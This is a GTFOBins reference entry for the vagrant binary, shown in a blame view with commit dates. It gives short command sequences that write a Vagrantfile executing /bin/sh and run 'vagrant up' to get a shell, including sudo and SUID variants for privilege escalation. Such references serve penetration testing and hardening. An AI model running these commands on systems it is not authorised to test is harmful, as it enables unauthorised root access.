GTFOBins.github.io/_gtfobins/vagrant.md

20 lines
445 B
Markdown
Raw Normal View History

2023-03-29 18:34:57 +02:00
---
2023-04-13 08:34:09 +02:00
description: This allows to execute [`ruby`](/gtfobins/ruby/) code, other functions may apply.
2023-03-29 18:34:57 +02:00
functions:
shell:
2023-04-13 08:34:09 +02:00
- code: |
cd $(mktemp -d)
echo 'exec "/bin/sh"' > Vagrantfile
vagrant up
2023-03-29 18:34:57 +02:00
sudo:
2023-04-13 08:34:09 +02:00
- code: |
cd $(mktemp -d)
echo 'exec "/bin/sh"' > Vagrantfile
vagrant up
suid:
- code: |
cd $(mktemp -d)
echo 'exec "/bin/sh -p"' > Vagrantfile
vagrant up
2023-03-29 18:34:57 +02:00
---